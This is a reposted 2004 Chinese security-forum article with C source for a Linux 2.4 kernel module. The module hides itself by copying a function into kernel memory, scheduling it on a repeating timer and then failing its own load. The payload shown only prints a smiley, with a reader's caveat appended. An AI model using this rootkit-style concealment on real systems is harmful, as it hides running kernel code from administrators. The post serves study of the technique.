首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>网络安全>文章内容
另外一种隐藏LKM的方法
来源:www.linuxforum.net 作者:teawater 发布时间:2004-07-13  

另外一种隐藏LKM的方法

--------------------------------------------------------------------------------
文摘出处:http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&Number=499949&page=0&view=collapsed&sb=5&o=31&fpart=

teawater

//gcc -I /usr/src/linux-2.4/include -c 1.c
#define MODULE
#define __KERNEL__
#define LINUX
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/types.h>
#include <linux/errno.h>
#include <linux/mm.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>
#include <linux/timer.h>

#ifndef list_for_each_safe
#define list_for_each_safe(pos, n, head) \
for (pos = (head)->next, n = pos->next; pos != (head); \
pos = n, n = pos->next)
#endif

struct ghost_struct
{
struct timer_list tl;
char buf[32];
int (*printk)(const char *fmt, ...);
void (*add_timer)(struct timer_list *timer)
};

void
ghost(unsigned long ptr)
{
struct ghost_struct *gs=(struct ghost_struct*)ptr;

gs->printk(gs->buf);
gs->tl.expires=jiffies+3*HZ;
gs->add_timer(&gs->tl);
}

int
init_module(void)
{
struct ghost_struct *gs;

gs=(struct ghost_struct *)kmalloc((unsigned long)init_module-(unsignedlong)ghost+sizeof(struct ghost_struct),GFP_KERNEL);
if (!gs) {
printk(KERN_EMERG"kmalloc error!\n");
return(-1);
}
memcpy((char *)gs+sizeof(struct ghost_struct),(char *)ghost,(unsignedlong)init_module-(unsigned long)ghost);
init_timer(&gs->tl);
snprintf(gs->buf,32,KERN_EMERG":)\n");
gs->printk=printk;
gs->tl.function=(char *)gs+sizeof(struct ghost_struct);
gs->tl.data=(unsigned long)gs;
gs->tl.expires=jiffies+3*HZ;
gs->add_timer=add_timer;
add_timer(&gs->tl);

return(-1);
}

MODULE_LICENSE("GPL");


/*
redhat 9.0 kernel 2.4.20-8 下测试可用
将一块函数拷贝进分配好的一块内存,然后挂到合适的地方,然后到时候就可被执行。
其中比较麻烦的地方是,因为在函数中使用相对寻址的地方很多,在拷贝进新地址后调用自然会出
问题,所以在我这里把相对地址的几个东西都放进了结构里了,这个东西应该是还有别的办法解决
,比如把elf文件弄进个buf,然后象2.6那样在kernel中进行连接。 */

madsys

注意,在某些系统上,init_module的位置要在ghost的前面,这样会引起kmalloc和memcpy的问题(因为他们相减是负数,无符号长整会很大)



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·一句话木马
·samcrypt.lib简介
·教你轻松查看QQ空间加密后的好友
·web sniffer 在线嗅探/online ht
·SPIKE与Peach Fuzzer相关知识
·asp,php,aspx一句话集合
·Cisco PIX525 配置备忘
·用Iptables+Fedora做ADSL 路由器
·检查 Web 应用安全的几款开源免
·Md5(base64)加密与解密实战
·NT下动态切换进程分析笔记
·风险评估中的渗透测试
  相关文章
·某大型企业局域网安全解决方案
·三种禁用FileSystemObject(FSO)
·另一种WinDbg插件编写方法-Debug
·风险评估应用技术和工具初探
·谈php+mysql注射语句构造-Okphp
·利用系统fingerprint 协助网络事
·错误的网络访问控制策略导致PMTU
·全面分析黑客常用的九种攻击方法
·追踪垃圾邮件来源
·缓冲区溢出攻防
·修改Windows SMB相关服务的默认
·SQL Server密码对照表
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved